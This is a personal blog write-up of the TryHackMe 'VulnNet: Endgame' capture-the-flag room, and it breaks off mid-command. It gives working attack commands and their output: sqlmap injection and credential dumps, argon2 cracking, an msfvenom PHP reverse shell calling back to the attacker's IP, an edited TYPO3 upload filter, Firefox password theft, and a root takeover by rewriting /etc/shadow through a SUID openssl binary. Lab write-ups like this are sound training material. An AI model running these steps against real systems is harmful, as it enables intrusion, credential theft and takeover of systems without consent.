TryHackMe - VulnNet: Endgame

I went into this one with the goal of practicing some persistence techniques, but it wound up taking me a long time so I just completed it. The next post I do will setup a test environment to play with some tools out there.

Quick Walk Through

Initial Foothold

  • Preform rustscan or nmap and discover there is a web server
  • curl $TARGET
  • Set the required domain as a hosts file entry on your system cat "$TARGET vulnnet.thm" >> /etc/hosts
  • Make the connection that if it must be accessed from a TLD, there are probably Subdomains
  • Use wfuzz to enumerate subdomains wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm"
  • Enumerate the blog subdomain with burpsuite, notice there is a custom API request
  • Use sqlmap with the API request to find an SQL Injection sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 --tables
  • Dump a table of username/password combinations, this will be useful later: sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D blog -T users --dump
  • Obtain a hash for chris_w user, which you should remember as the posting admin user on the blog sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users -C password,username --dump
  • Convert the username/password list from the first sql injection dump to a useful format for john like this awk -F "\"*,\"*" '{print $2}' users.csv > passwords.lst
  • Save the password hash from the second sql injection dump to argon2.hash
  • Crack with john john --wordlist=passwords.lst argon2.hash
  • Use this credential pair to login to admin1.vulnnet.thm/typo3
  • Generate a PHP reverse shell with msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=8080 -f raw -o shell.php
  • On the admin portal, go to Settings -> Configure Installation Wide Options
  • Search for upload, edit the deny filter to remove any reference of PHP
  • Go to Files and upload your webshell to root directory
  • Start a listener on your host: nc -nvlp 8080
  • Navgiate to admin1.vulnnet.thm/fileadmin/shell.php
  • Go back to your listener, you should have a shell!

Privilege Escalation to User

  • Notice you can read /home/system
  • Notice there is a firefox directory there you can read
  • Clone firefox decrypt onto your system
  • Compress the tool zip -r fd.zip firefox_decrypt
  • host it on your system python -m http.sever
  • Download it on target wget YOUR_IP:8000/fd.zip
  • Extract it unzip fd.zip
  • Execute it against the firefox profile cd firefox_decrypt && python3 firefox_decrypt.py /home/system/.mozilla/firefox//2fjnrwth.default-release
  • With the password you received, ssh into the system as system

Privilege Escalation to Root

  • Notice SUID binaries are present at /home/system/Utils
  • openssl is SUID and is present
  • Generate the password for password: perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
  • Read and copy the contents of /etc/shadow to tmp: ./openssl enc -in "/etc/shadow" > /tmp/t
  • Edit the password hash of root to be the one you generated
  • Write the file back: cat /tmp/t | ./openssl enc -out "/etc/shadow"
  • Login as root with password password su root

Write Up

Initial Enumeration

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.177.247:22
Open 10.10.177.247:80

1 Add hosts entry for the domain... 2

settarget vulnnet.thm
nikto --host $TARGET --port 80         
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.177.247
+ Target Hostname:    vulnnet.thm
+ Target Port:        80
+ Start Time:         2022-11-11 02:37:34 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 10fa, size: 5e07a2716f080, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
python ssh-audit.py $TARGET
# general
(gen) banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
(gen) software: OpenSSH 7.6p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)
# security
(cve) CVE-2021-41617                        -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2020-15778                        -- (CVSSv2: 7.8) command injection via anomalous argument transfers
(cve) CVE-2018-15919                        -- (CVSSv2: 5.3) username enumeration via GS2
(cve) CVE-2018-15473                        -- (CVSSv2: 5.3) enumerate usernames due to timing discrepancies
(cve) CVE-2016-20012                        -- (CVSSv2: 5.3) enumerate usernames via challenge response

Fuzz for subdomains:

wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt  -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm"
...
000000310:   200        1 L      9 W        65 Ch       "gate"                                                                                                                                                                                                    
000000333:   200        1 L      9 W        65 Ch       "time" 

Filter out 9W responses:

wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt  -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm" --hw 9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://vulnnet.thm/
Total requests: 4989
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                                                   
=====================================================================
000000018:   200        390 L    1599 W     19316 Ch    "blog"                                                                                                                                                                                                    
000000051:   200        0 L      4 W        18 Ch       "api"                                                                                                                                                                                                     
000000037:   200        524 L    1406 W     26701 Ch    "shop"                                                                                                                                                                                                    
000000689:   400        10 L     35 W       301 Ch      "gc._msdcs"                                                                                                                                                                                               
000001219:   307        0 L      0 W        0 Ch        "admin1"                                                                                                                                                                                                  
Total time: 45.39799
Processed Requests: 4989
Filtered Requests: 4984
Requests/sec.: 109.8947

3 4 5

# An input that actually does some sort of query! Email sub on Shop
http://shop.vulnnet.thm/about.html?Enter+your+email=emailinput
# I Ran SQLMap to no avail
curl http://admin1.vulnnet.thm/en/
vulnnet management panel is up!
curl http://api.vulnnet.thm 
VulnNet API is up!

Dirb has produced some results for me on the admin1 subdomain:

GENERATED WORDS: 4612 
---- Scanning URL: http://admin1.vulnnet.thm/ ----
==> DIRECTORY: http://admin1.vulnnet.thm/en/  
==> DIRECTORY: http://admin1.vulnnet.thm/fileadmin/
+ http://admin1.vulnnet.thm/server-status (CODE:403 SIZE:283)
==> DIRECTORY: http://admin1.vulnnet.thm/typo3/     
==> DIRECTORY: http://admin1.vulnnet.thm/typo3conf/      
==> DIRECTORY: http://admin1.vulnnet.thm/typo3temp/       
==> DIRECTORY: http://admin1.vulnnet.thm/vendor/ 

6 7 Oh boy, I know there's a bunch of vulnerabilities for typo3! We can access those other directories too which contain site configuration files, that we can read! 8 These were all dead ends as far as I can tell. I continued exploring around, paying closer attention to requests firing off in Burp. I noticed when loading a blog on the blog subdomain, there's a request to the api subdomain! 9 Maybe SQLMap can save us this time?

sqlmap --wizard -v
        ___
       __H__                                                                                                                                                                                                                                                               
 ___ ___[)]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                                                   
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                                               
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:59:38 /2022-11-11/
[10:59:38] [INFO] starting wizard interface
Please enter full target URL (-u): http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1
sqlmap is running, please wait..
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: blog (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: blog=1 AND 3645=3645
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blog=1 AND (SELECT 8743 FROM (SELECT(SLEEP(5)))BXQH)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: blog=-8193 UNION ALL SELECT NULL,NULL,CONCAT(0x716a786b71,0x6e575752686e75617a50646f45414f52766376494359577452736d49776
---
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.38-0ubuntu0.18.04.1'
current user: 'dbadmin@localhost'
current database: 'blog'
current user is DBA: False
[*] ending @ 11:00:17 /2022-11-11/

Hey there we go! Now let's enumerate this thing.

SQL Injection

$ sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 --tables
...
Database: information_schema
[61 tables]
+---------------------------------------------+
| CHARACTER_SETS                              |
| COLLATIONS                                  |
| COLLATION_CHARACTER_SET_APPLICABILITY       |
| COLUMNS                                     |
| COLUMN_PRIVILEGES                           |
| ENGINES                                     |
| EVENTS                                      |
| FILES                                       |
| GLOBAL_STATUS                               |
| GLOBAL_VARIABLES                            |
| INNODB_BUFFER_PAGE                          |
| INNODB_BUFFER_PAGE_LRU                      |
| INNODB_BUFFER_POOL_STATS                    |
| INNODB_CMP                                  |
| INNODB_CMPMEM                               |
| INNODB_CMPMEM_RESET                         |
| INNODB_CMP_PER_INDEX                        |
| INNODB_CMP_PER_INDEX_RESET                  |
| INNODB_CMP_RESET                            |
| INNODB_FT_BEING_DELETED                     |
| INNODB_FT_CONFIG                            |
| INNODB_FT_DEFAULT_STOPWORD                  |
| INNODB_FT_DELETED                           |
| INNODB_FT_INDEX_CACHE                       |
| INNODB_FT_INDEX_TABLE                       |
| INNODB_LOCKS                                |
| INNODB_LOCK_WAITS                           |
| INNODB_METRICS                              |
| INNODB_SYS_COLUMNS                          |
| INNODB_SYS_DATAFILES                        |
| INNODB_SYS_FIELDS                           |
| INNODB_SYS_FOREIGN                          |
| INNODB_SYS_FOREIGN_COLS                     |
| INNODB_SYS_INDEXES                          |
| INNODB_SYS_TABLES                           |
| INNODB_SYS_TABLESPACES                      |
| INNODB_SYS_TABLESTATS                       |
| INNODB_SYS_VIRTUAL                          |
| INNODB_TEMP_TABLE_INFO                      |
| INNODB_TRX                                  |
| KEY_COLUMN_USAGE                            |
| OPTIMIZER_TRACE                             |
| PARAMETERS                                  |
| PARTITIONS                                  |
| PLUGINS                                     |
| PROCESSLIST                                 |
| PROFILING                                   |
| REFERENTIAL_CONSTRAINTS                     |
| ROUTINES                                    |
| SCHEMATA                                    |
| SCHEMA_PRIVILEGES                           |
| SESSION_STATUS                              |
| SESSION_VARIABLES                           |
| STATISTICS                                  |
| TABLES                                      |
| TABLESPACES                                 |
| TABLE_CONSTRAINTS                           |
| TABLE_PRIVILEGES                            |
| TRIGGERS                                    |
| USER_PRIVILEGES                             |
| VIEWS                                       |
+---------------------------------------------+
Database: blog
[4 tables]
+---------------------------------------------+
| blog_posts                                  |
| details                                     |
| metadata                                    |
| users                                       |
+---------------------------------------------+
Database: vn_admin
[48 tables]
+---------------------------------------------+
| backend_layout                              |
| be_dashboards                               |
| be_groups                                   |
| be_sessions                                 |
| be_users                                    |
| cache_adminpanel_requestcache               |
| cache_adminpanel_requestcache_tags          |
| cache_hash                                  |
| cache_hash_tags                             |
| cache_imagesizes                            |
| cache_imagesizes_tags                       |
| cache_pages                                 |
| cache_pages_tags                            |
| cache_pagesection                           |
| cache_pagesection_tags                      |
| cache_rootline                              |
| cache_rootline_tags                         |
| cache_treelist                              |
| fe_groups                                   |
| fe_sessions                                 |
| fe_users                                    |
| pages                                       |
| sys_be_shortcuts                            |
| sys_category                                |
| sys_category_record_mm                      |
| sys_collection                              |
| sys_collection_entries                      |
| sys_file                                    |
| sys_file_collection                         |
| sys_file_metadata                           |
| sys_file_processedfile                      |
| sys_file_reference                          |
| sys_file_storage                            |
| sys_filemounts                              |
| sys_history                                 |
| sys_language                                |
| sys_lockedrecords                           |
| sys_log                                     |
| sys_news                                    |
| sys_note                                    |
| sys_redirect                                |
| sys_refindex                                |
| sys_registry                                |
| sys_template                                |
| tt_content                                  |
| tx_extensionmanager_domain_model_extension  |
| tx_extensionmanager_domain_model_repository |
| tx_impexp_presets                           |
+---------------------------------------------+
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D blog -T users --dump
Database: blog
Table: users
[651 entries]
+-----+---------------------+--------------------+
| id  | password            | username           |
+-----+---------------------+--------------------+
[11:09:52] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 396 | D8Gbl8mnxg          | lspikinsaz         |
| 397 | kLLxorKfd           | profeb0            |
...
[11:09:52] [INFO] table 'blog.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv'
[11:09:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm'
[*] ending @ 11:09:52 /2022-11-11/

Awesome 651 username|password combinations. Let's search through and see if the admin is in there.

cat /home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv | grep admin

It so happens that SSH allows password authentication, so I'm going to take this list and try them all for ssh logins. I formatted the user dump into a user:pass txt file for Hydra: 10 And kicked off hydra to go try all of these wile I do dishes:

hydra -v -V -u -C userpass.txt -t 1 -u vulnnet.thm -I ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-11 11:26:38
[DATA] max 1 task per 1 server, overall 1 task, 653 login tries, ~653 tries per task
[DATA] attacking ssh://vulnnet.thm:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://username@10.10.134.107:22
[INFO] Successful, password authentication is supported by ssh://10.10.134.107:22
[ATTEMPT] target vulnnet.thm - login "username" - pass "password" - 1 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "ggolt0" - pass "d5aa4AsdO" - 2 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "rcuddehay1" - pass "HCeByMT" - 3 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "anowlan2" - pass "YffkBZ" - 4 of 653 [child 0] (0/0)
...

While that runs...

sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T fe_users --dump
... empty ...
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T sys_log --dump
Table: sys_log
[2 entries]
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+
| pid | uid | NEWid   | recpid | recuid | userid | event_pid | request_id | IP         | data | type | error | tstamp     | level   | details                                                | message | action   | log_data                      | component | tablename | workspace | details_nr | time_micro |
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+
| 0   | 1   | <blank> | 0      | 0      | 1      | -1        | <blank>    | 127.0.0.1  | NULL | 255  | 0     | 1655226810 | 0       | User %s logged in from ###IP###                        | NULL    | 1        | a:1:{i:0;s:7:\\"chris_w\\";}  | <blank>   | <blank>   | -99       | 1          | 0          |
| 0   | 2   | <blank> | 0      | 0      | 0      | -1        | <blank>    | 10.6.13.47 | NULL | 255  | 3     | 1668184266 | 0       | Login-attempt from ###IP###, username '%s' not found!! | NULL    | 3        | a:1:{i:0;s:8:\\"eelven17\\";} | <blank>   | <blank>   | -99       | 2          | 0          |
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+

There happens to be a password in the dump for this eelven17. No dice over SSH. It also didn't work for typo3.

sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users --dump

This contained one row, with a TON of whitespace, and one big Base64 looking blob in the middle. The blob was quite large, so I didn't put it here. It took me a while to notice that it was actually a bunch of base64 strings separated by |'s, obviously one for each column. The values are also actually all the same, 34 entries of it.

base64:type251:MXZtbHRhbXZtbHRhbTB2bWx0YW0xNjU1MjI2Nzg5dm1sdGFtMHZtbHRhbTB2bWx0YW0wdm1sdGFt\nMHZtbHRhbTB2bWx0YW1jaHJpc193QHZ1bG5uZXQudGhtdm1sdGFtMHZtbHRhbXZtbHRhbTE2NTUy\nMjY4MTB2bWx0YW12bWx0YW0wdm1sdGFtJGFyZ29uMmkkdj0xOSRtPTY1NTM2LHQ9MTYscD0yJFVu\nbFZTRWd5TVVGblluSlhOWGxYZGckajZ6M0lzaG1qc04rQ3doY2lSRUNWMk5BclF3aXBxUU1JQnRZ\ndWZ5TTRSZ3ZtbHRhbTB2bWx0YW12bWx0YW0wdm1sdGFtMTY1NTIyNjc4OXZtbHRhbWE6MTQ6e3M6\nMTQ6ImludGVyZmFjZVNldHVwIjtzOjc6ImJhY2tlbmQiO3M6MTA6Im1vZHVsZURhdGEiO2E6MTp7\nczozMjoid2ViX2Rhc2hib2FyZC9jdXJyZW50X2Rhc2hib2FyZC8iO3M6NDA6ImU1ZjFmOGVhN2Iz\nMGFmZTdlNDAyNGMxNWI2MDZhNmZjYjUwMWE2MzEiO31zOjE5OiJ0aHVtYm5haWxzQnlEZWZhdWx0\nIjtpOjE7czoxNDoiZW1haWxNZUF0TG9naW4iO2k6MDtzOjExOiJzdGFydE1vZHVsZSI7czoxMzoi\nd2ViX2Rhc2hib2FyZCI7czo4OiJ0aXRsZUxlbiI7aTo1MDtzOjg6ImVkaXRfUlRFIjtzOjE6IjEi\nO3M6MjA6ImVkaXRfZG9jTW9kdWxlVXBsb2FkIjtzOjE6IjEiO3M6MTU6InJlc2l6ZVRleHRhcmVh\ncyI7aToxO3M6MjU6InJlc2l6ZVRleHRhcmVhc19NYXhIZWlnaHQiO2k6NTAwO3M6MjQ6InJlc2l6\nZVRleHRhcmVhc19GbGV4aWJsZSI7aTowO3M6NDoibGFuZyI7czowOiIiO3M6MTk6ImZpcnN0TG9n\naW5UaW1lU3RhbXAiO2k6MTY1NTIyNjgxMDtzOjE1OiJtb2R1bGVTZXNzaW9uSUQiO2E6MTp7czoz\nMjoid2ViX2Rhc2hib2FyZC9jdXJyZW50X2Rhc2hib2FyZC8iO3M6MzI6Ijc3M2UwMGZiYjk2MGEw\nYmE4N2FkOGMzOWYzYzRhNjkxIjt9fXZtbHRhbTF2bWx0YW12bWx0YW1jaHJpc193dm1sdGFtMHZt\nbHRhbTE= 

Stripping base64:type251 and decoding with base64:

1vmltamvmltam0vmltam1655226789vmltam0vmltam0vmltam0vmltam0vmltam0vmltamchris_w@vulnnet.thmvmltam0vmltamvmltam1655226810vmltamvmltam0vmltam$argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rgvmltam0vmltamvmltam0vmltam1655226789vmltama:14:{s:14:"interfaceSetup";s:7:"backend";s:10:"moduleData";a:1:{s:32:"web_dashboard/current_dashboard/";s:40:"e5f1f8ea7b30afe7e4024c15b606a6fcb501a631";}s:19:"thumbnailsByDefault";i:1;s:14:"emailMeAtLogin";i:0;s:11:"startModule";s:13:"web_dashboard";s:8:"titleLen";i:50;s:8:"edit_RTE";s:1:"1";s:20:"edit_docModuleUpload";s:1:"1";s:15:"resizeTextareas";i:1;s:25:"resizeTextareas_MaxHeight";i:500;s:24:"resizeTextareas_Flexible";i:0;s:4:"lang";s:0:"";s:19:"firstLoginTimeStamp";i:1655226810;s:15:"moduleSessionID";a:1:{s:32:"web_dashboard/current_dashboard/";s:32:"773e00fbb960a0ba87ad8c39f3c4a691";}}vmltam1vmltamvmltamchris_wvmltam0vmltam1

This wasn't really getting me far, I can tell what I need is in there somewhere. Turns out type251 is specific to SQL. So, I should use SQLMap to try to extract column values. I figured out there is username and password columns, so let's extract those from the table:

sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users -C password,username --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.7#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:39:30 /2022-11-11/
[12:39:30] [INFO] resuming back-end DBMS 'mysql' 
[12:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blog (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: blog=1 AND 3645=3645
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blog=1 AND (SELECT 8743 FROM (SELECT(SLEEP(5)))BXQH)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: blog=-8193 UNION ALL SELECT NULL,NULL,CONCAT(0x716a786b71,0x6e575752686e75617a50646f45414f52766376494359577452736d4977666e5372504b78674d7574,0x716b6a7a71)-- -
---
[12:39:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[12:39:31] [INFO] fetching entries of column(s) 'password,username' for table 'be_users' in database 'vn_admin'
[12:39:31] [WARNING] reflective value(s) found and filtering out
Database: vn_admin
Table: be_users
[1 entry]
+---------------------------------------------------------------------------------------------------+----------+
| password                                                                                          | username |
+---------------------------------------------------------------------------------------------------+----------+
| $argon2i$v=19$m=65536,t=16,p=2$UnlVSEFFFFFFFF4Rg | chris_w  |
+---------------------------------------------------------------------------------------------------+----------+
[12:39:31] [INFO] table 'vn_admin.be_users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/vn_admin/be_users.csv'
[12:39:31] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm'
[*] ending @ 12:39:31 /2022-11-11/

Cracking The Password

Okay now we're getting somewhere, we now have a password hash for chris_w. I put this into cyberchef and crackstation but no recognizations. Searching around, I found that Argon2 is the format. John can crack these so, let's try it! First, let's make sure john can load the hash and let it run through the default wordlist. I just put the value from password field into pwd.argon2:

john pwd.argon2 --pot=empty.pot
Using default input encoding: UTF-8
Loaded 1 password hash (argon2 [Blake2 AVX])
Cost 1 (t) is 16 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 2 for all loaded hashes
Cost 4 (type [0:Argon2d 1:Argon2i]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:00:49 0.36% 2/3 (ETA: 16:43:48) 0g/s 10.32p/s 10.32c/s 10.32C/s crystal..porter
0g 0:00:01:01 0.42% 2/3 (ETA: 16:57:45) 0g/s 10.39p/s 10.39c/s 10.39C/s puppy..bigben

Alright, I'm going to assume that it's not going to be a basic password. But, we already have a password dump from this server, perhaps the admin has re-used their password on a different account name on the blog! I created a password file from the csv dump from sqlmap:

awk -F "\"*,\"*" '{print $2}' users.csv > passwords.lst 

Then used it with John:

john --wordlist=passwords.lst argon2.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (argon2 [Blake2 AVX])
Cost 1 (t) is 16 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 2 for all loaded hashes
Cost 4 (type [0:Argon2d 1:Argon2i]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
FFFFFFFFF      (?)     
1g 0:00:00:11 DONE (2022-11-11 13:01) 0.08438g/s 10.80p/s 10.80c/s 10.80C/s password..Z2WgzYZCK
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Wohooo! I first tried this credential with SSH because I know it allows password authentication. It didn't work. So the logical next step is to move to the typo3 admin interface. It worked over there. 11

Typo3 to RCE

I explored around and found:

  • Typo3 Version 10.3.0, this rules out the exploits from searchsploit
  • Root dir is /var/www/admin, default folder permissions are potentially misconfigured
  • chris_w is the only admin
  • I can upload files through here, but it appears to only allow formats that won't get us a remote shell
  • I can install extensions, this is likely the path to RCE here, but I'll continue looking for something easier.
  • A few CVE's -> https://www.cybersecurity-help.cz/vdb/SB2020072811 12 13 14 I found a typo3 web shell, however when I attempted to upload it I got this error: 15 I can't figure out how to resolve the error, so I moved on. The next best thing to try would be to circumvent the file upload filtering mechanism. First, I'll try to upload a PHP reverse shell. Generation:
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=8080 -f raw -o shell.php

Start a listener:

$ msfconsole
msf6 > use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit

And now, I experiement... 16 17 I go and look for if I can override the config for the filter: 18 I find a variable that looks promising, but this is view-only... I read some documentation and found that you can update this through settings -> configure installation-wide options. 19 I updated the filter to be \.(cgi)(\..*)?$|\.pl$|^\.htaccess$, and my upload worked! 20 I navigate to admin1.vulnnet.thm/fileadmin/shell.php, and the connection hangs. Back in Meterpreter, I have a shell!

Privledge Escalation

21 I decided to try metasploit's local exploit suggester... 22 But it came up dry! Whatever, I upload linpeas.sh and run that: 23 Useful results:

  • Vulnerable to CVE-2021-4034
  • Potentially Vulnerable to CVE-2022-2588
  • [CVE-2021-4034] PwnKit
  • [CVE-2021-3156] sudo Baron Samedit 2
  • Lots of root processes
  • Running as Xen virtual machine
  • Running on EC2
  • A ton of writeable socket files
  • Potential PE via DBUS
  • system user has authentacted as root before
  • System has a directory 'Utils' some some SUID binaries we could abuse if we get their login I first went poking around manually. I discovered I could access system user's home directory, but wouldn't read their files which included user.txt. So I probably need to first access this user. Checking out their home dir, this is a desktop user. I tried to auth to system with chris_w's password, but no luck there. 24 I can't write anything, but I can read almost everything in here! I printed out all the usual things to check like history and bash profiles, checked for files everywhere in the standard user-land folders, but no dice. Everything else is standard here for a Gnome Desktop home directory, except the .mozilla folder. I'm not sure if you could get anything from there, but here's what's in it that I found interesting.
du -a .
4       ./extensions
4       ./firefox/8mk7ix79.default-release/settings/data.safe.bin
8       ./firefox/8mk7ix79.default-release/settings
256     ./firefox/8mk7ix79.default-release/formhistory.sqlite
4       ./firefox/2fjnrwth.default-release/pkcs11.txt
4       ./firefox/2fjnrwth.default-release/bookmarkbackups/bookmarks-2022-06-11_16_Q-MXo69LzkaCMT4UPJEQ2w==.jsonlz4
8       ./firefox/2fjnrwth.default-release/bookmarkbackups
40      ./firefox/2fjnrwth.default-release/extensions.json
288     ./firefox/2fjnrwth.default-release/key4.db
4       ./firefox/2fjnrwth.default-release/logins.json
24      ./firefox/2fjnrwth.default-release/storage/default/https+++tryhackme.com
48      ./firefox/2fjnrwth.default-release/storage/default/moz-extension+++f18624c7-e895-42bc-acc9-b05dcade9636^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite
180     ./firefox/2fjnrwth.default-release/storage/default
9212    ./firefox/2fjnrwth.default-release/storage
512     ./firefox/2fjnrwth.default-release/cookies.sqlite
4       ./firefox/2fjnrwth.default-release/storage.sqlite
12      ./firefox/2fjnrwth.default-release/crashes
88      ./firefox/2fjnrwth.default-release/sessionstore-backups/previous.jsonlz4
92      ./firefox/2fjnrwth.default-release/sessionstore-backups
25844   ./firefox/2fjnrwth.default-release
4       ./firefox/profiles.ini
51412   ./firefox
51420   .

So, I wonder if we could use their cached cookies to access a service on their behalf? Could there be old passwords stored in here somewhere? I've never actaully learned about recovering useful personal data from a firefox directory, so I went and did some research. Here's from Mozilla how to backup and restore important data from a profile:

cd /tmp && zip -r moz.zip /home/system/.mozilla
exit
download /tmp/moz.zip
exit
unzip moz.zip

26 No dice! I hit the docs again, and realized I just needed to directly specific the profile directory. 27 Boom! Now I'm going to just assume this is the password for system... even better would be if we can ssh as that user so we have persistence. 28 And there we have it! As we found during enumeration, we can now probably use the SUID binaries in Utils to get root!

system@vulnnet-endgame:~$ cd Utils && ls -la
total 1104
dr-xr-x---  2 system system   4096 Jun 14 13:24 .
drwxr-xr-x 18 system system   4096 Jun 15 17:12 ..
-r-xr-x---  1 system system 723944 Jun 14 13:23 openssl
-r-xr-x---  1 system system 178312 Jun 14 13:24 unzip
-r-xr-x---  1 system system 216256 Jun 14 13:23 zip

zip and unzip can give read, but openssl can give write as root! I checked ssh config to see if we could ssh as root:

system@vulnnet-endgame:~/Utils$ cat /etc/ssh/ssh_config  | grep Permit
